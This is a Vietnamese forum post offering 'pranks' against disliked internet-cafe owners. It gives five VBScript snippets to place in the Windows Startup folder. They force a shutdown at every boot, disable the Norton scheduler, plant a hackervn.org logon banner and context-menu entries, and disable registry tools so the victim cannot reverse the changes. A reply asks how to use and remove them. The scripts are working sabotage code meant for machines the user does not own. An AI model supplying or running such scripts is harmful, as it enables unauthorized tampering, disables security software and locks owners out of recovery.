[Thủ thuật mẹo vặt] Một vài trò chọc ghẹo khi anh em ghét chủ quán net

Đây là một vài trò chơi anh em xem ghét ông chủ quán nào thì làm tí cho vui thôi nhé.

Bằng cách đặt một file (*.vbs) nằm trong thư mục Startup chứa một trong những đoạn script sau:

1.Trò chơi thứ nhất: không cho khởi động máy:

Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2.Trò chơi thứ hai: disable NAV( nếu có install) của họ:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi ces\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"

3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi nLogon"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "Hackervn.org"
wsh.RegWrite s1+s3, "Robinhood invite you to join hackervn.org"

4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org",""
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org","Robinhood"

5.Trò chơi này đảm bảo làm cho các trò chơi trên có thể diễn ra "vui vẻ": disable Registry của người ta :
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"

có thể hướng dẫn cụ thể không Vũ
Làm cách nào để chơi được mấy trò đấy và
cách xoá chúng 59n

» Xem 9x ảo thuật tài tình với những quân bài nè ^^
» [Thủ thuật mẹo vặt] 99 lệnh run nên biết
» [sofware]Quan sát nhà cửa qua điện thoại di động
» [Giáo viên giảng dạy] Lý thuyết về đại từ quan hệ who, whom, which....
» ảo thuật cực pro!!